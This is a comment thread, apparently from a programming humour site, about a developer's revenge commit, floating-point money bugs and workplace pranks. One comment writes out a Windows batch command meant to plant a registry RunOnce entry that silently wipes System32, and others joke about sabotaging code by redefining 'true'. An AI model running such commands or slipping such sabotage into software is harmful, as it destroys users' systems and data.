• Frist (unregistered)

Frist

• Taco (unregistered)

Beautiful, just beautiful

• Łukasz (unregistered)

No surprise the company was in trouble if it was handling financial data with floating poin.

• (nodebb) in reply to Łukasz

Surely you mean doubling poin?

• anonymous (unregistered)

#define Frist F̧̰͈̩͔̲̱̠̞͓̅̾̈́́͗̏̀͗͊͘ŗ̤̰̩͈̹̭͔͎̥͆̇̏̇̇̋̆͗̒͝i̡̧̨̛̠̰̥̳̘̰͋̃̂̒̇̊̍̉͜͝s̢̜̭̫͍̭̱̮̖͓̆͆̍͐̇̌͊̉̑̚t̻͙̥̯̳͕̬̖͖͗̐̎̃͗́̇͂̍͘͜

• Andy (unregistered)

• Roman (unregistered)

This can get you into jail.

• Joshua (unregistered)

My work colleague suggested this as an even meaner variant: #define true rand()%100>99. That is, redefine any boolean 'true' 1% of the time.

• Karstibert (unregistered) in reply to Joshua

Maybe inspired by http://thedailywtf.com/articles/The-Disgruntled-Bomb

• (nodebb)

Did "Bob" really sign the comment? Because when shit goes down, and they narrow it down to that, "Bob" is going to have a wild time with Initech's lawyers.

Taking a page from Unmaintainable Code, being (never) vigilant of the next Y2K-like thing for the company can work wonders for revenge. With the added bonus of plausible deniability.

According to the submitter, yes- Bob really did sign the comment.

• (nodebb) in reply to dkf

The point (floating or otherwise) is that you shouldn't use binary floating point types (like float or double) to handle financial data. You should use decimal types to guarantee round-trip conversion to and from strings, and to control when rounding is done.

• Pete (unregistered) in reply to Joshua

"rand()%100" will return values 0-99. This is never greater than 99.

• b.a.freeman (unregistered) in reply to Remy Porter

given the comment about the lawyers, it occurred to me that maybe 'bob' was really sam, who wanted to get even with the real bob by implicating him in a sabotage scheme. layers upon layers!

• George Gonzalez (unregistered) in reply to Łukasz

I worked in a very large company where all their software used 32-bit floats for financial calculations. They were very strict about having (useless) separation between data-access-layer, business-logic-layer, and presentation-layer, but they thought 32-bit FP was good enough for handling millions.

• RichP (unregistered) in reply to George Gonzalez

Hmm, so they're handling large sums of money with imprecise math. Hey, I know, what if I wrote a computer program to skim off the rounded off bits, and put them into my account.

Why does that sound familiar?

• Matt Westwood (unregistered)

A significant software package of ours fell over when we sold our services to a customer who were big enough to report financial results in the billions. Suddenly our 32-bit signed integers were no longer adequate -- and on the environment we used (FORTRAN on a VAX), that was all we had available. Can't remember how we kludged around it, but it wasn't pretty.

• Anon (unregistered)

@RichP I don't know how you came up with it, but that idea sounds super, man. :3

• Longshot (unregistered)

Whether or not he "signed" it, if they are using source control, they should know from that who made the change.

• Jeff Shitwood (unregistered) in reply to Longshot

We don't need no fucking source control.

• operagost (unregistered) in reply to Matt Westwood

For OpenVMS VAX, I guess you could use two LONGs, although the only time I ran into this was working on an ancient game called Galactic Trader where I'd expanded the game enough that elite players had billions of credits. I'm pretty sure I changed the LONGs to QUADs and abandoned VAX compatibility, although I may have just added a compile-time option to define the variable as LONG if desired.

• t0pC0der (unregistered) in reply to RichP

To celebrate this wonderful post I'm going to take all the pennies from the little tray at the 7-11

• Joshua (unregistered) in reply to Pete

:D I'll let him know

Superman III

Oh man... Galactic Trader. I ran a VAX system for students when I was in college and that was a popular game. I had the source code to it on 3.5-inch floppy until about 2 years ago when I moved and decided to trash the hundreds of disks I hadn't touched in 15 years.

Well, synthetic math, of course. Even back then, there were Fortran packages to do what things like gmp does now.

• M4 (unregistered)

AFAIK, rand()%100 always produces the same value.

That transcends evil. It's .... poetry.

http://i.imgur.com/9KCIeJi.gif

• Marek (unregistered) in reply to Łukasz

Good point :) You remind me of the person named Łukasz who has opened my eyes to that problem (and many others) when I was newbie. Greetings!

• (nodebb)

I really think we had another article than the disgruntled bomb, one where either it was signed or found via source control history, but I can't find it.

It's December 1994. Andy Grove of Intel is feeling pretty good about things; the new Pentium has just appeared on the market and is doing well.

So, he walks into a bar, and orders a shot of 30-year-old single malt Scotch. The bartender pours his drink, puts it in front of him and says, "that'll be twenty dollars, sir."

Mr. Grove sets a twenty dollar bill on the bar, looks at it for a moment, and says, "keep the change."

(if you need an explanation, look up the Pentium Floating Point Bug).

Wait... even in 1996, that was a damn good price for 30-yr single malt! What's the name of this establishment?

• Herby (unregistered)

Yes, floating point and money really don't mix well. I did a small billing program and started out using single precision floats. After the money got into the thousands (with cents), the numbers didn't add up too well. Change to double precision, and added in some proper rounding stuff and it BARELY worked. The program was written in Fortran, and in the early 70's people wanted the cents to work correctly. After a while one learns that hundredths just don't work in binary floating point very well. The other lesson is that Fortran really isn't made to do money stuff very well either. It doesn't have (this is Fortran 66) provisions for formatting leading zeros which would be needed if you kept the cents in a separate variable and wanted to get something out in a reasonable format statement.

Yes, don't do money in floating point, no matter HOW many bits of precision you have.

• DCL (unregistered) in reply to Herby

That's why people used COBOL to handle money. The B in COBOL stands for Business.

I thought that COBOL stood for "Completely Outdated, Badly Overused Language"

And here the worse bit of petty revenge I ever committed was printing out 600 copies of "Principia Discordia" on the company copiers (this was in 1992, so printing the doc version wasn't quite an option yet; I made a master copy from the Loompanics version and ran that through the feeders) and hiding about a third of them in places around the office (including in the offices of the CEO and company president) during my security rounds (I was a night-time security guard during summer breaks). They fired me for something else (I nodded off at the desk, stupid shit) they the same day caught on to who was doing it.

The rest of the copies I handed out to random strangers.

Addendum 2016-09-08 13:53: Mind you, they might have been slow to notice it because they were trying to find out who was leaving plastic cups filled with shit in the same sorts of places. Apparently I wasn't the only one there to lose their gruntle.

• TheCPUWizard (unregistered)

People keep missing the point [pun intended]... What we need are binary coins... We already have 0.50, and 0.25, now just 0.125, 0.0625, 0.3125..... and everything will be good.

• TenshiNo (unregistered)

At a previous job, they had horrible security practices. And this was back in the day with the Remote Registry Service was turned on by default. I used to joke that it would be so easy to insert a value containing this command line into the HKLM\Software\Microsoft\Windows\CurrentVersion\Run key on any machine on the network:

@echo off && for /f "tokens=2-4 delims=/ " %a in ('date /t') do (set day=%b) && if /i %day% EQU 31 ( REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Magx /d 'pushd c:\windows\system32 && del /q /f . && for /f "tokens=*" %g in ('dir/b') do rd /s /q "%g"' ) & echo on

I never did it, of course.

For those not familiar with the Windows Command Shell: this checks to see if it's the first day of the month. If it is, it adds another value to the "RunOnce" registry key. That value contains a command line that will (quietly) delete all files from \Windows\System32. Windows mostly accesses these files on boot, so they can be deleted quietly without much likelihood that the user would notice, at least back then. Basically, if you reboot your computer on the 31st, that will be last time you boot that computer (sans reinstalling Windows).

I will caveat this by saying that I did this mostly from memory, so I can't guarantee that it will work as-is, and I'm not running it on my PC to test ;)

• (nodebb) in reply to Brian Boorman
I thought that COBOL stood for "Completely Outdated, Badly Overused Language"

Actually, it stands for "Don't be a dick".

• Matt Westwood (unregistered) in reply to Joseph Osako

Principia Discordia, eh? At least it wasn't Principia Mathematica, that would have been evil.

• Matt Westwood (unregistered) in reply to Bananafish

Exactly. COBOL had the wherewithal to format fields exactly the way you wanted them. Money fields were a doddle.

• GraphSceptic (unregistered)

While I wouldn't sign something like that (nor do something like that) I wouldn't worry too much about lawyers unless the company had decent evidence that 'Bob' did it. A lot of places don't enforce locking your PC when you're away from your desk, and a comment can be written by anyone anyway. So neither check-in identity nor the name 'Bob' would guarantee a jury siding with the company. If the jury didn't side with the company, they'll have just blown \$x on nothing. Not great for a company that recently recovered from a near-bankruptcy experience.

• AustinPB (unregistered)

I never engaged in anything as dastardly as Bob's commit, but I manage a few tricks once while working for a hopelessly mismanaged dot-com start-up. Like so many, they had blown all their seed money on a can't miss domain name and ridiculously expensive office lease. Anyway, after several close calls on their making payroll, I took a dislike to the pretentious, laser printed names of the two or three luxuriously equipped conference rooms -- crap like the Eagle's Nest room -- which were supposedly reserved for "meetings with investors.". (In reality, they were empty all day, except for the mid-afternoon showing of Office Space that pretty the entire staff except the founders knew about and attended daily.) So one night a cohort and I decided that those rooms needed better names, and we replaced them with names like "Field of Dreams Room" and "Pennies From Heaven Room". The new names stayed up for two or three days before anyone who would be offended by them noticed..

• No Name here (unregistered)

Once upon a time my fellow student had to leave his VAX terminal while still being logged in (it was stuck for an hour, then was OK again).

I changed his prompt to look like a VAX error message: "[ACCEXP] Account expired, do you wish to delete all files (Y/N)"

The fun, when he logged in again... :-)

• gnasher729 (unregistered) in reply to Joshua

Joshua, I think your friend should be fired.

First, if this is C then you have to #undef true first. Second, you must put parentheses around the expression. Even though your friend wants to create damage, it should be impossible for a decent software developer to not put parentheses around it. Third, the expression will always evaluate to false.

• Helten (unregistered) in reply to Joshua

You probably mean #define true rand()%100<99 rand()%100 is never greater than 99, which means you could have written #define true false

• (nodebb) in reply to gnasher729

That.

Today, we learned, "Always test your code, even your joke code, on a real system before posting it."

Tomorrow's lesson will be, "Don't test code in prod. And, NEVER, EVER, EVER test joke code on prod."

• Paul (unregistered) in reply to Carl Witthoft

"Wait... even in 1996, that was a damn good price for 30-yr single malt!"

It is 20 years ago. Back then, the whiskey was only 10 years old ;)

• Danny (unregistered)

Well, my current customer insists in pushing new code to production, so the "normal users" can "test at their workplace" (even though they have a test system available under a different URL, which we use to test our changes first, and then tell the customer to do the testing, to which their response is as above)

• (nodebb) in reply to RichP

One of my CS professors told a story of a guy at a financial company where he worked who did exactly that. The guy was caught when he had to take his required two-week vacation and he couldn't access the company's database to "massage" the audit history to hide his micro-transactions.